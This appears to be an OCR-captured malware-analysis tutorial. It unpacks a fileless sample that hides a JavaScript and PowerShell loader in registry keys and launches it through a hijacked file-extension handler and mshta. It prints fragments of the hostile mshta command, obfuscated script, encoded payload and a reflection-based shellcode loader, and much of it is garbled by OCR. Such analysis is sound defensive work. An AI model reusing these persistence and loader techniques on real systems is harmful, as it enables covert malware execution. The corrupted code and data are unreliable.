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Sample:

40050153DCEEC2C8FBB1912F8EEABE449D1E265F0(8198008BESB34E5403E731

Behaviour analysisPermalink

this malware uses a highly sophisticated way of unpacking, I’ll be demonstrating how to fully unpack it and

extract the second stage of it.

let’s start by dynamically analysing this sample, fire up ProcMon and execute the sample.

after capturing events with ProcMon, save it to a CSV file and load it to ProcDot, it will look like this.
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this is a lot of output!, what we need to focus on are the red colored event.

FILE:cusers\remiappdatatlocal\8297\bdfi6 batp

we see that it dropped a file to disk.
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HEKCU\SoftwaretwaLUTgsGNYWYGQ2 QG

—> HKCLU\SoftwaretwBLUTgsGMEBwWSWP

HECUSoftwarelgxyhwinsgicireovh

_* HECI\Software\geyhwins gizbrgoviz

and also some weird registry keys created.
let’s first start by navigating to that dropped file’s directory.

<(C) » Users » REM » AppData » Local » 2297

Fat

Mame Date modified Type Size
bdft.bat 6/17/2022 8:48 PM Windows Batch File 1 KB
[ do21.2ed62 6/17/2022 8:48 PM 2EDE2 File 31 KB

we see two files one of them is a .bat file and the other has a random extension .2ed62.

 note: batch files are scripts that contains multiple commands to be executed by the command line in

Windows.

let’s view the batch file’s contents.

[ bdf6 bat E3
‘ 1 start "SMoWCTyTil5SVFglGwi™ "%LOCALAPPDATA%YS2974.d031.2ede2™

Registry ActivitiesPermalink

the start command will open this file d031.2ed62 but what is the file actually is?. this file is not even an

executable, after some time I realised that this is just a dummy file and the actual purpose is not to execute it.

Windows by default when it tries to open any file, it looks for the software that can run the file in the registry,

what we can do now is to open the registry and look for the software or command that executes .2ed62 extensions.

you can find a list of extensions under HKEY_CURRENT_USER\Software\Classes
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B Registry Editor — O X
File Edit View Favorites Help

Computer\HKEY_CURRENT_USER\Software\Classes\.2ed62

v 3 Computer A || Name Type Data

» || HKEY_CLASSES_ROOT ab] (Default) REG 5Z 0346
v || HKEY_CURRENT_USER

AppEvents
AppXBackupContentType

Console
Control Panel

N

Envirenment

> EUDC
> Keyboard Layout
Network
> Printers
v Software
> 7-Zip

> AppDatalow
v Classes
>' b
00
2edb2

we found the extension but what is the value 03467, it is supposed to hold the name of the software that will open
it.

this 0346 is just there for obfuscation purpose and it acts like a pointer (means that you can find it in the list of

extensions).

Computer\HKEY_CURRENT_USER\Software\Classes\0346\shelhopen\command

C v 0346 * || Name Type Data
v || shell (Default) REG_SZ "CAWINDOWS\system32\mshta.exe” "javascript:Ct
v open
L command

going down the list of extensions we can see our pointer and it points to mshta.exe followed by a JavaScript code

to execute.

double click on the name and extract the whole command.

- script js E3 |
1 "C:\WINDOWS\system32\mshta.exe" "javascript:Cd25Le="M";
2 L7m=new ActiveXObject ("WScript.shell™);
3 ouevr="eRXDvsT" »
4 V0ZOG=LT7m.RegRead ("HKCU\\software\\gzyhwinsg\\zbrgoytjz") ;
5 i8K1sZ06P="Fan3n3i";
6 eval (VOZOG) ;tVHOOImU="VEL1" "

What pops up into our eyes immediately is the registry key HKCU\\software\\gxyhwinsg\\zbrqoytjz. it reads the
contents and store it in VOZOG variable, then calls eval function which will execute the script (it needs to be a JS

script). So let’s examine what’s in that key.
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Name Type Data

ab)(Default) REG S7 (value not set)

8| cjrvovth REG_SZ A£Q.80°0,usniloR—k8t "«%oceEs<A—DO4EzBDUI»TL
st edopwn REG_S7Z IWAW3VtAlegxbJIPX8vFjk=

=5 fpkucmrb REG_SZ JjsWisdgA9Qs2g==

2wdahd REG_SZ JTAS|ZFtV8AZqFgUVIVIHONMZ2kxrKAQ=
ab)xdzmsoklx REG SZ dzFBicc/APSWEISKpv8btvaO3vIV2Gv2GoGMEZAGS
B /brqoytjz | REG_SZ fMAZ80GqrsxkbMGTVUKMIsUK="iqSnUKITWJYsy:

This time if we tried to just double-click it, it won’t work because of the length.

We can use reg_export command line tool instead.

command:

reg_export HKEY_CURRENT_USER\Software\gxyhwinsg zbrgoytjz dumped_scp.js

[ dumped_scpjs E3

1

quZBOGqISxkbMGTVUKMJBUk-"qunUkJTWJYsyaEJklEKJbeDCWQBenSaxGECZCDtlQN";BPIQkDTbSCIGQuWEOVT-"ITIYKSlefnzthx7";
ZULQLfLwdqOrOhml 4kec="TIGGMZS€Lr 16NUVFKS4VD6EWhK2AHdsuPZpuKIDo"™ ; téma=
"DE3D291D2B33363D1C004103027121092C240029526B3A3A066346653708375B3628770811291F0A3D2C1C1D7C3B38382924261F1F36590E206B430B4C5
81B1D5F04382D350B0763071123122A35103F251530506363210323703E65022B7B1C264B135F3F295947630D740908195E271C2E25132F4EOE092B5B162
73A2C406B246B43174D422017073D05013B344C1711312121065E5733382C365531503221323F3B38591B21613F043E423216125D2C27787227642D07755
DOE231E011139393C0A2E€681T70F34033F340857533D1F64225365100E5A64186A25%2F270D223D132C105E0D5201412A04632B1A257D0D4A0A075B3036265
D1€0150183215052B33280B2F3E423506674B340131124B17291E153540640F05661F0D0228150E1B3C130900585314202076460F760733312A34706A241
021351E551B4C0C122E7B612C6324183856410128016013444E1E2E233C2D0B730C0F281F080A780610076D3E2C310A0A5C23371F10125B2932151903255
D321442162R263609162C7B232D493F5B170C2E63361F752D7C720C130EOEOF3B31051678001D2B391D0AEC100102362R026412110372551D3D356E2A351
D15513113242C0F3211262260445B3F222A3C5A1D7D05026133053E0EODSE1920460B14640624201514267E2C150C2E19283B2B0BODOD1ETF459460E463A2
C4E3D01313C36597859687758454E4455476E481F2445100300133D795F657DTES3702303680F04467508503528260E3B180407332802526F0D3A0D1E303
34C771E211D08591061€6E1D113C72772758261D2B280604061B115F65231F2ES51C0A16657B78476B37340254104277485C133C2C4B61690B3F062F12431
325151529330709316379790A0E00314A72573C06412207293E4A6D131B37310D1B17285F4D0101022CT74180A0071€66021B3B24390F19567F6€1111520D2
S5E200623252039281E0C1C200D061E2CSF270D37083A23254F20645D220F06345A240106053335690C320735003C4415030F7T3021E2357153E33281F230
E30631D5322512A78660F0724193325203B24053526300E04159010C391E0541001A7814007264311E731218246B0E0631236032383D22063120010637067
0491B560D67013C1B183406671D7D03510666641B06220606093B01560A1C0D34122E372F1A360111543A23040B330470203658161A1D01305A331D31160
ASA2D0501302B0S0F2B060132337735065E1B78342F67157F1633326B0D1B02222C653E060F2401061D022D2F680505340A280F1D1C2612066D5A24345B3
C172308527D1A320B720B2E353601202B00370660002933331032270B08355A0015570254057E3F397725191A123900535D040C4F0E140D051B203211540
320250D3E60607D3758161A260E2CT74334T172B0OA3E29060024201C392C604A35307E3B30021F27332B7325530D2F516B027946142C060601103007320C1
AQOC2F335C2CO0F6A0D543B1A030B01€600720376205010E35285A0A19212B315A311593F32151F0F066017203D153E1806223D1B2E4525530D2F516B0279461
42C060601103007320C1A0C2F335C280EOE2F0815260F020707643C0C58285B1637344632330B2B0B02251F3C4511090E70064F36090D6333062238052F¢6
71C5702540D631D25461816611B3A67571B0C03200917090E073F0E767€031A780E075B5SE063707025F251E375F1C370B2A313E1B0F3F242C063F0660141
832723E0727253R0D3B561861130938783C3ESA1073280300642B1E030320132F1D0504201F0D54001A31143E7T64A0A375B1EIE166B1ASE3347143439313
5450747090034197803300C3F30045C2537332F67057A3E5050531D1B431873161107123401340C201414023B02340A280F1D1C26120058463F360716050
3080D5D063C3530323C2594404203F1837197F0C2B22113F30387C21065A08045566331855020703237219042A3B2C3803783416146805060E1C76503B1A1
COB37725E230F601ASB126BOESS81C321B7631041B0S3C0EOEQ03AT70784C1AS6153E333CTC1EOD3F6B026C022FS51500270460D2A1E0301101E1D3426123E2
FE85C5C360E7608381A700D0704027E1AS91ESE1EQOESTSD052C132C242A31243C2F0D1BOF166049233D0D281A3CT7C190D30633B540D23126B02785F232F0
20307100A1B34202C09140D0D14271A096B3D1AT7C480562032419706106253424580A23082E233D103B2€61E091B0C06460B1C320D39153E262601205D066
C002B50500231581B19191E31103000371C4316190D3FSEOD1ETAS3120E0332065B683E340705070B1A286734231334093E2E063€6302B1837147C4C2C572
B3C1D2A7C2133597F02546630126738254A2505060301142F1E1C0D3C1629123F170E35110D3A0A1C0B2E7370203658161A1D0130SA331A143724052D150
1322B0O70E0€4E151B32112735280F7D363F0804643819096B6€6045C082D1ASA0139341D341C2309190D2F1B350E2754030E00082B4202031C063C5F230E1
A4F322C29300B38533E061A114309197C0C3026150734370B21060667015412330D523C7CT77222C06030710303833133416061902590A087373107E1B4B3
E€62607A11642003230E575C343335310A00211B0€3F0D05347245373A0C09603028033D343F7B45553815097504396218191A0301042702017A34122E372
F1A360111543A24212906067C3831723C18253352411C31682F0A04311D01307EOAO081506122F2D0OD630B3C25291E2E4525521D2B1153382D57080202250
165345C340C23091A6B2B0€60F34054C03151B14075C5A1937061E1E231E0E40321E653F242C521D071A151B09060F001C3177390727037C0D3BSD157F131

the script we extracted looks very hard to analyse, a good thing to start with is to try searching for any evals.

WUmaoUldxhQSFE=uMh8vXMbUVORaKbE=" ; uMh8vXMbUVORaKbE<ePe1l0x0. length ; uMh8vXMbUVORaKbE++) {
SeCeBT6HBVaK+=String. fromCharCode (ePel0x0. substr (uMh8vXMbUVORaKbE, | ) .charCodeAt () “WNnJR1CcKS.
substr (WUmaOUldxhQSFE, 1) .charCodeAt () ) ; WUmaOUldxhQSFE=(WUmaOUldxhQSFE<WNnJR1CcK9.length-1)?

WUmaQUldxhQSFE+!

0;}VYjYCZY1rdCRERbvZ4YStxi="kuX1FHe IWK7094 zgg8HtQawMcs2T04iROtM" ;

EvBmMQfxnGldUOryBis="8jw2ymh5my8BpzEzjFCx1ppfONDWtnt5Elxn9rglon™ ;KYtEYTH6KY1XWtgMnLE1dYZ=
"3eg4MdhepPe fGSuOBCWUnLcuGlH™ ;- (SeCeBTEHBVaK) ; xBXasWfVIwPwzaefFWVYUrx=
"BnSLMMOHaXMnfxg20IC5glPCESY9cYSnkeArdnUhRGZ" ;QgTCRMcbdK2aAzAcdr9Rg=" 6WEiLMGCzjPKiJoRcymymf6FM47J"
;5ZxkHAWRUGI3p8nGatwQZphS="QPwhRioSUOuns30bYbuWtwIsloeMYghj03sMNX" ; Zf88KXpwxVMKsWulXz1lmA=
"70RStiFRz1I20r7NdpJEn" ; uFUMZ6VTLXGJMABNBjc="11hErBaKzbJQecMyRltnrtEah4Ejl";
rfqGjDK6dzOoyWQSntaZlQI="bUaivAp2EtaZcmWIJXNVECcEXhcCCE7IP" ; BNl

and indeed near the end of the code we can see an eval, why is this important?
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as we can see this code has alot of numeric data stored which can be another form of JS scripts that is being

decoded and executed.

eval is a the function that will execute any JS script, so rather than spending time analysing the code (which will
be a big pain), we can simply reach the point that it calls eval (obviously after decoding the payload) and just
examine what is passed to eval.

how can we do that?

patching JavaScript codePermalink

One of the quick ways is to patch eval and make it print the code to us.

append this code to the top of the script:

oe = eval
eval = function(i){
WScript.Echo(i);

oe(i);

run the script with wscript.exe.

Windows Script Host

2dnuBPCXkG2nCGXplcRx="wmnR7SbiVjcaDIPytijlgK7MBusMHsFuaWm®; oyjSHjTVjli13sHdzCVeZRRC="UXzF 7 4mbEKNzbijH8v6D GHIISDKHHESt D 2xKcox2i”; sxp hB: 4Fd”; zulel[ttUdEll'ﬂmNvLIbaulQr-'IIM
13nGNnWXdkc3Ldx80C1zul0Z";,ymeWGICHCYSEnHANfyu4OK=" ZmhQsNdWmQuVGPSO:EQWSKHJNMOBEW!SbﬁJHOS :K¥lbvdjz¥sOJ4ePeYh="VNIEX24 5t j FWIzJGF"DVOS ;00 ORCVFI= JDITILKNNTV
D6 ZumeRE)(lexuhKcV-' WrHSTS617;try A\c!lve)(ObJe:ﬂWScrlDt Sn:llL[ARS Environment( Process’)('zgjeat’)="iex
([Text. [ Ilnn:x\maGsNCnNsZvaKDﬂmﬂml?DQajZ]ndL 9221 ‘NCIBhem FHIChbUGFyYW11dGVyKFBve210aWIuUPTASTWFUZGFOb3)SPSRUCNVIKVOgW1R5¢GVb
)NOgJFEhthtZXRI(nMSW1 BhththRI(thhindleh]DxKVDgW1 RS(GVdICRSZXR|(n\ﬁue)(BIP\c‘tWhl\k)(Sk?DQonXhIanIdeOKJFRS(GVCGWISZGVyMB(HBEbH haW5dOjpDdX JyZW50RGStYWIULKRIZmIUZURSbmFtaWNB3NIbW)seSgoTmV3LUSiamVjdCBTe
WXRII Vtymx5QnVpl FjY2VZc10601) IuYW1pY01vZt "‘"1vtn|NBZRIbGUuCRmVWuZSkuRGVmaWS
\VHIWZSQIWFI‘\‘fl\W\QZXh(3MSUHVIDGlJLFNWW‘KIZCXBDHNDQb(I‘\dMSQXVDDUNSYXNZIIXDU)IZGGV(LK]1EHRDVZFZGERIDGVHVXRIXSWDQG]ﬂmI’WCZFKDQUkVHIWZUJ]H\Nﬁ(k 3 Q. JU3BIY; whWUiSG\kZUISUZInLFE'I\'RI)(nW\S
1060INOYWSKYX JkLCRQYX JhbWVOZX JzKSSTZXRIbXBsZW1IbnRhdGIvbkZsYWdzKCISdW50aW1ILEThbmFnZWQiKTs NCil DQukVH\wZUJ‘l:W\'W‘ ClibnZva2
U\LCIQdWJSaWMSSG\kZUJSUZInLEIM NSDSQEVMI‘/HHV"D(\SJFJIGHVYDIRSLGL: JFBhcmF MPLINIGEtc STWFUYWIZClpOwOKIZ 1 (JUICRUeXBIQNnVp| J:MVHGGVUEXBIKCK?TWK
\3R32WR2DQ;!H\dWSJdGMIIBn(HJV‘GSNCINZaGlp(WHCmmDQpQVXJhbSAoWlBhcmFtZKRI(IthindG\vbjOlelhmethdeTﬂkVHJ'IZSIdIFﬂdHprmddICRNbZRleUSWT BhemFtZXRICinOb: E1F 1ZSIdIFtTd
QJZWRl(mUpOwOKIBIlZHH1thK.lFNSCBHIbUFz:ZVImeSP\ItB(HBEbZ|hnWSdOJpDdJUyZWSORGQ!VW\uLkd\dEcmlemepD(MuIO(xXnGVyZSIPﬁanBR7JF8uRZw\'mFSQXNlZW1|bHIDVWNuZSAtQWSkICRllkvaZFDnWQuLIwaG\OKCJ(IllbLTFdlkV)(dWF!cyglUSlz
dGVILMRsbCIpfTsNC I5DQokV aXZITWV0a G 9kaz0kU31zdGVIQXNZZW1ibHkuR2VOVHIWZS giTWIj cm9zb 2Z0LIdpbjMyLIVuc2FmZUShd GI2ZU11dGhvZHMIKTs NCINS dWxl dXNtanYNCnJIdHVyD IAKVWSZYWZITmFOaXZITWV0aG 9k cySHZXRNZXR
hDZQolkdldFBthNBZGRyZXNZIIkuSWSZhZﬂKCRuﬂWxSlEAOW‘ N5¢3RIbS5SAWS0aW1ILkludGVyb3BTZX J2aWNIcy5IYW5kb GVSZWZ AKESIdy1 PYmpIv3QgU3IzdGVELI1bnRpb WU USWS0ZX veFNIenZpY2VzLkhhbmRsZVIIZigoTmV3LUSiamVjd CBJbnRQAHIpLCRVDN
NhZmV0\’XR;:diNZ)(I'lDblelllzdldﬂIdthZC;all'lZVUTWQIz:!W)lISGFuZG)ﬂIIkuSWSZ':.-ZﬂKCRudWI(SLF_AcJE|'IZHV!ZSIK;1KSI(!JFB)(bZNIZHVyZSIpoil)Nr QpbQy tdXSAkc2MzMiASIDB4NTUsMHg4Qiwwe EVDLDB4ODEsMHhDNCwweDAw
LD it GLD| 1g1Niw8121ncSM+ MHg1NywweDUzLDBANTYsMHg1NywweEZDLDB4MzE sMHhEMiwweDYOLDB4OEIsMHg1MiwweDMwLDB4OEIsMHg1MiwweDBDLDB4OEIsMHg 1 MiwweDEOLDB4OEIsMHg3MiwweDI4LDBANKEsMHg
%O Cwwe DUSLDB4MzEsMHhGRiwwe DMxLDB4QzAsMHhBQywwe DNDLDB4NEsMHg3Qywwe DAyLDB4AMkMsMHgyM Cwwe EMxLDB4QOYsMHgwR Cwwe DAxLDB4Qzes MHhFMivww eEYwLDB4ODEsMHNGRiwweDVCLDB4QkMsPCNmaCM + MHg0QSwweDZBLDB4
GEIiMHg1QSwwnDEWLDMOE\sMngM\w&l!lwleNdeLDMREIsMHg4DSww2DVElDBARkMSPCN\(HKJPJMNUWP(NJCCM'MHg‘\RSWNZIZVlM-MHg1@wwzﬂhCLDMNDUSMHthwwlDgilDHdNDUiMHhENwaeDhCLDMNDUsMHhENwatDVZLDMO
DEsMHgzOCwweDRELDB4NL Dg1LDBAME) DAWLD! j IDAsMHg4QiwweDQ1LD! QyLDI ,1Mwa:DhCI.DB4NDUSMHhENwa!DhCLDMNDASMH;ZQVWWEDKSI.DMMDMSMHQWNCWWE
D\DLDB4MTMSMH91NCWWEDIOLDB4MDQ§MHG4MyWW!EMOlDB4MDDSMHqWSW!DQ1lDB4RDMMHD4QNMEDQ1LDB4RB MF DMA4LD/ M= MHgwM! U1LDB4MDESMHgwMCwweDA
wLDB40 QwLDB4OEIsh ‘wweDc4LDB4MD! 'EZDLDB40Dk: DLDB40! IDLDB40 1gOM ww:DE4LDB¢QDDUSMHhDMCWW:DB5[DB40EMSMHhDlew(DAKlDNMDASPCNydnijJMM
DAsMHgOMwaeDgSlDMODUsMquWwweEZGLDw;ZZ‘IJHB4Rk‘fsMHhGRNMeDMzLDMRjVsMHMQlwweDQW LDBARKMsMngMywweEQleBdN‘llsMHmMwaeDhCLDmZmO]PJB-lNDUsMHthwweDhCLDBdNDAsMquMCmeDMzLDBARDIsMHgIMm
weDUwLDB4OEISMHNDN DB4R DkSLDBAMD! gy wweDI0LDwbWe 91NCwweDIOLDBAMDQ: 0 'DAOLDB4AM)Qs! DUOLDB4M;Q: wweDgzLDB4QzQs
MHgwOCwweDhCLDBAMDgsMF DRELD! o D DB4NjQsMF DU2LDB40EQsM DB‘DDESMngOwaeDRDlDBdNJksMHgZM\ww:D(yLDNNZUsMHgOQ\ww:DhELDBlNDES
MHgwOCwweDgxLD 2MSwweDcyLDI Dc1LDwj: DQwLDB4OEQsMF DBDLDB40DAsMHgzO Cwwe DAWLDBANZUsMHgzOCwweDhCLDBANDUsMHhDQywweDhCLDBANDAsMHgyNCwweDAzLDB4ANDUsMHh
GQywweDMzLDwjbmZvizaweEQyLDB4NTIsMHg 1MCwwe DhCLDB4QzYsMHg MwLDB4OTksMF DAOLDB4MJQsMHgxMy .JDLDWJeGBJPJMMstMngN(wwEDglLDBM}zQsMngO(wBIancSM¢MHgZNiwweDh(LDB4MDAsMHgM1iw
weDU1LDB4QOMsMHg4Qiwwe DUyLDB4ML DU1LD! 3LDB40zA: JwLDwj y ‘MCwweDhCLDB4MD! DB40kMsMHg4MSwweD
MSLDB4NDesMHg2NSwweDcOLD iM=MHg1 Ni DB4NDEsMHgwNCwweDgxLDB4Mzg: iwweDZGLDBAN! 25pYyM HqBNSwweDRctDaAoeosMHgOM5wweDMLos40:>EsMHuzowaeovowsamosm
nglesznLDMNzUsMHgOMwaeDnELDB4NDEsMHQWRSww:DngDMqusMngMvav:DﬂLDMqusMHmnwweDQlLDMQOM:MHg4Q\ww=DQ~LDw1r.1HEx\:4weDI0LDB4MD. 1sME LDB4NTAsMHg4Qiw
weEMzLDBdMDMsMHhBMwatDksLDBAMDMsMHngwatDIOLDBdMTMsMHgINwazDIDLDBAMDQsMHydMywszMGLDBAMDgsMHgleszhCLDBAMDAsPCNudyM'MHgmvaEDU|LDBdQOMsPCNodyM'MHg-mmw:DuleBAMLIMsMngMW
weDU1LDB4RKI i I3LDB4QzA: JwLDB4MD QwLDB4OE| i DAzL DB4NDUsMHhGQywwe D g5LDB4NDUsMHhCOCwwe D gxLDB4MzksPCNuZyM + MHg1Niwwe DY5LDB4NzIsMHg3NCwweD c1LDBANTYsMH
H4RCWW=DQILDB4MDQSMHQ4MSwweDM4LDW]:HQIHB4NZU!MHGZMSWW!DZDLDMNDESPCNZECM MF DRCLDwjd3d D'WJWIN1Il4w!DQXLDMMDQEPCMVHEJPJMUDESMHGZOCWW!DZDLE 1l 2My Dc
1LDBANDAsMHgARCwweDOxLDBAMEMsMHg4MCwwe DM4LDwje HEjPjB4! M4LDB4OEIsM} IDLDBAOEIsMHgOMCwweDIOLDBAMDI DUyLI ig4QivweEM2LDBAMDM
sMHhDMwaEDkSlDMMDMSMngNwaEDIOLDBdMTMSMHgINwaEDIOLDBdMDQSPCN|aZg_|FHBAODMSMHhDNCWEDMLDMN]VSMHMWWEDAWLDMOEIiMHgINSWWQENDLDMOEISMHQ|M|wwEDFDLDB4MDMiMHglNSwwEHDLDMMEViMHhCN
ywweEMwLDB4QzEsMHhFMCwweDAyLDB4MDMsMHhEMCwweDh CLDBAMDIsSMHgwMywweDQ1LDB4RkMsMHg40 SwweDQ1 LDB4QTgsMHgAMSwweDMSLDB4NDusMHgSDwaeDYSLDB4NzcbMHgiNSwweDVzLDMDEQ;MHgoMSwweDADLDMDDEsMHg
DB4

Z0Curwe DUwLDwjemojPJB4NzIsMH g2Rivve DYzLOB4NzUs MHG10 e DNELDEANDESMHgwO Cuiwe D g g4R Cvwe DOxXLDB4MDksMHgAMCvwe DMAL g3NSwe DOALDBAOEC
ODAsMHgzO CwweDczLDB4NzUsMHgOMCwweDgzL DB4CEZE s MHgwCiwwe D gwlDwjbt ONMLOBAOEIMI IDLDB4OEIsMHGOMCuw eDIOLDBAMDMsME jwweDULD
QMJJWWEEMZLDMMDMSMHhDMCWWEDKSI.DB4MDMSMH;WNCWW!DIOLDMMTMSMHNNC\MNEDIQI.DMMDQm Hg: DB4MDgsPCNIb2IjPjB4N] wg-rQ\WWlDAWLDS‘QUElsMHglNSW\NGENDLWJ(WV4IZ4WEDHCLDMNT]SPCNZZCM4MHng
thAzLDBANTIJsMHhGQ;ww!DBGLDMQ{SP(NWSM»MHHDMCWWEEM){L QwlDB4OE! DAzLDB4NDUsSMHhGQy 5LDBANDUs MHhBNCwweDQ2LDB4RKYsPCN1aCM - MHg4R CwweDNDLDB4RKYs
NFLDB4RKUsM GLDB4QZYsMHg4N By GLDBARKSMHNGR: DBANj iwweDg1LD inGRIwWeEZGLOBARKISMHg2NCeEM2LDBAODUs i gzMSuve EZGLDBIRKMHNGRI
wweD:ZLDMﬁMHNNSwweDMyLDBaRszPCN Gy DB4Qz¥sMHg: DMzl LD AhDNiwweDg 1LDBAMZOsME GLDI 120! Dg1LDB4MzUsMHhG
EZGLDB4RKYs Mt 2LDB40DUsPCNuaiM- DMyLD! g DM3LDB4RKYsMHNGRiwweEZGLDB4MKkUsMHhDNiwweDg1LD! Ri EZGLDI wweEM2LDB40DUsM
HgzOSwweEZGLDB4RkYsMF DZDLDB4Q:" g4l DNBLDB4RkYsPCNsZGM)Pj DIDLD 5124 DB40DUsMHgzQiwweEZGLDB4RkYsMHhGRiwweDAwLDB4OEQsMHg4NSwweDIGLDB4RkYsMHhGRiwweEZGLDBANTA
SMHNGRIVWEDU 1LDBAOKMSHG4Qiwv¢E Q4LDBAODUSPCHINAW Py g DA1LDI gWMCwWWeEZGLDBANTUSMHRBNCwweDg5LDBANUQsMHRENCwweDhCLDBANDUSMHENCwweDY2L DE4ODESMHGZOCww eDRELDEANUESMHgw
RiwweDg1LD| ig40) Dl DUyL ig4QiwweDQILDB4RDQsMHgAQWWeDQWLD NwcWQjPB4OTKs M DAOLDBAMQSME 2141z4weDUOLDBAMjQsMHgw
Nwa!DgzlDmMHywOwa(DgSLDBANDUSMHhEMwa(DhClDSdNDUSMHw ‘wweDgxl ‘wweDQ1LDB4AMDAsMHgwMCwweDBGLDB40DUs MHgyNiwweDAxLDwj¥2tmizdweDAwLDBAMDAsMHg4QiwweDQ1LDBARDAsMHg4Qiw
weDQWLD! 9 DB40DksMF DLDI MCun A+ DLDB40OEIsMHgOMCwweDE4LDE40DUsPCNPZ2MjPjB4QzAsMHgwRiwweDhDLDB4MEQs MHgwMSwweDAwWLDB4MDAsMHgOMCwweDg5LDB40DUsMHgzQywweEZ
GLDB4 DMzLDBARj¥sMHgAC DUyLDI 194QiwweDQ1LDB4Q0MsMHGAQiwweDQWLDEAM) ASMHgzMywweEQyLDB4NTISPCNUZYM+ MHg MCwweDhCLDB4QzYSMHRDMSwweEUwLDB4MDISMHGSOSw
weDAzLDBdMDQ;FCNNyM-MHgyNwaeDEzLDBANTQsMHgyNwaeDAOlDBdODMsMHhDNwaeDMlDMMDMsMngNwaeDlOlDBdM‘NsMHmNwaeDIDLDMMDQ;MHngywweEMOlDBdMDgsMHngwweDMLDMMDM:MHhDQmweDngDBAMz
ksMHg1MiwweDY1LDB4NjcsMHgORiwweDc1LDBANUIsMHg4RCwweDQxLDBAMDQsMHg4MSwwe DM4LDBANZAsMHg2NSwweDZFLDBANEIsSPCNsbyM DB40EQ DA4LDB4ODEsMHgzOCwweDY1LDBANZKsMHGONSwweDc4L
DB4NzUsMHgONSwweDhELDB4NDEsMHgwQ D 1g0MSwweD¢1LDB4MOQsMHg4R Cwwe DQxLD BAMEQsMHg4MCwwe DMALDB4AMDAsSMHg 3NSwweDM1LD B4OEIsMHgONSwweENDLDB4OEIsMHgOMCwweDIOLDB4MDMs MHhDMywweD

HELDBARDIAL g seDUMADBAOEI D e eDATLDEACEASMI G5 S eDAZL D ALID Mgy Cor e DEADBANT I e DAOLDEAODUEMHADHConneDAALD BN GACiorweD AurL DBAOE M TS e ENDLDBAGE MGk eDFDL
we got what it seems to be some base64 encoded data, let’s copy and decode it.
* note: you can’t copy directly from windows script host, so a good way to get this string is to open:
Process Hacker

wscript.exe Process [go to strings].
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find the encoded string and extract it.

Hacker View Tools Users Help

| % Refresh {3 Options | @ Find handles or DLLs 3+ System information | [ [ % Search Proce: i
Description
mneral Statistics Performance Threads Token Modules Memory Environment Handles GPU  Disk|
17 Results - wscript.exe (1940) - ] X
- il & System
| Hide free regions -
941 resuts. Session Manager
Base address Type Size Protect... Use Address Length Result A B DPCs
oxxumo P”"_“' 4 : R USER_SHARED_DATA Ox1b488148ad4 6 XBXa8WHNVIWPwzaefFWVYUrx Lver Runtime Process
Ox7ffe 1000 Private S0k R 0Ox1b498148b0c 84 BnSLMMOHaXMnfxq20ICSqIPCESSC. .. y —
0x3cb800000 Private 2,048K8 RW PEB Start-Up Application
. 0x1b498148b6c 2 QgTCRMcbdK2aAzAcdroRg I
0x9cha00000 Private 1,024k8 RW Stack (thread 3316) Dx1b496 148ba) % SWELMGCZPKIJoRCymymfsEM47] and Controller app
0x3cbc00000 Private 1,024k8 RW Stack (thread 2964) Ox1b498146bed P SZXKHAWRUGI3pBNGatWQZBhS Jeity Authority Proce...
0x9cbd00000 Private 1,024k8 RW Stack (thread 4764) Ox 1435 145020 % QPWhRIOSUOUNSI0bYbuWWIs oeM... e Font Driver Host
0x9cbf00000 Private 1,024k8 RW Stack (thread 2820) Ox1b498143078 » 2ZFRBK X VMKsWWuiXzAmA rver Runtime Process
0x82c000000 Private 1,024k8 R\:} Stack (thread 5444) 1498 1960ac P B —— i e
0x15454220000 | Mapped 6418 RW Heap (D 2) 0x1b498148ce0 B UFUMZEVTLXGIMASNBjc e Font Driver Host
0x1b434230000 | Private Bk RW 0x1b498148d10 53 11hErBaKzbIQecMyR LinrtEah4Ej1 Window Manager
Ox1b454240000  Mapped oke R 0x1b498 148054 “ 1faGIDKEdZ0YWQSNtaZIQE
0x1b494260000  Mapped 16k R Explorer
0x1b498148d8c 64 bUaivAp2EtaZcmWIIXNVrcExhcCCF 7P Guest Additions Tra...
0x1b494270000  Mapped 4k8 R Ox1b498148798 a4 IScript - script block T
0x1b494260000  Private 4k8 RW Ox1b438148%c8 106278 oe = evaleval = function(){WSaript... E
0x1b494290000  Private 32,7218 RW Ox 15458183500 e MZE0Ga S HMGTVUMsUk PowerShell
0x1b436220000  Mapped 78k8 R C:Windows\System32ocale nls Ox1b498163028 s BPCKDTSCrCAMCOVT Window Host
0x1b456370000  Private Bk RW 0x1b498163¢50 3 ZULQf wdqOrOhmidkec @ Windows Based ...
0x1b496380000  Mapped 12k8 R Co\Windows\System32\en-USWscrip...| | g ip assonanos =TT 2P O InCEXpleR="WrR S Hacker
0x1b496390000 Mapped 84kB R C:\Windows\System32\wscript.exe Ox1b458234862 20 [e—
CxI49630000 | Mapped 156 R 0x1b49823746¢ 2 MSISP.DLL
0x1b4963c0000  Private 64kE RW Heap (ID 4) Orib4982374d4 2 wehext.i |
0x1b4963d0000  Private 4ke RW P— 2 o
- v
0x1b4963e0000 € A - P YL LB IS NI B W LA LU
: wweEZGLDBARKYSMHQZNCWweEM2L
L= e Copy sSMHRGRiwweEZGLDBARKYSMHg20Sy

PowerShell AnalysisPermalink

after extracting the script, we open and see a reference to powershell.exe at the end of the script.

that means after decoding the base64 data we’ll find a powershell script.
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®

sleep(15);try{
function gdelegate{

Param ([Parameter( ition=0,Mandatory )1 [Typelll]
LELGLE G ition=1)] [Typel =[Void]):;

=[AppDomain]::CurrentDomain.DefineDynamicAssembly( (New-0bject
System.Reflection.AssemblyName("ReflectedDelegate")), -
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule("InlMe
) .DefineType( " XXX","Cl s ,Public,Sealed Cl AutoClass"
[System. MultlcastDelegate]J,

.DefineConstructor(” :
[System.Reflection. CalllngC0nvent10ns
) .SetImplementationFlags ("R

.DefineMethod("Invoke","P
J.SetImplementatlonFlagsF

return .CreateType();}
function gproc{

Param ([Parameter( tion=0,Manda )1 [String]
[Parameter( iti ] [String] )i

=[AppDomain] : :CurrentDomain.GetAssemblies() |Where-
Object{s .GlobalAssemblyCache -And .Location.Split("\")[-1].Equals("Syste

.GetType("Mic

return
.GetMethod("GetPrac lress") . Tnvokel( .@l{ISvstem.Runtime.Interc

PowerShell ¥ TabWidth: 8 ~ Ln1i, Coll v INS

and yes, it is a powershell script, let’s move on to our windows machine and analyse it.
there is a great tool called powershell_ise to debug powershell scripts, let’s use it to open our script.

opening the script in powershell_ise we can see a variable called sc32 at line 26 that holds a set of hex values.

E: Windows PowerShell ISE
File Edit View Tools Debug Add-ons Help

A& B3 4& 8 0 M P & W = B B oo ®[E

powershell_scrps1 X

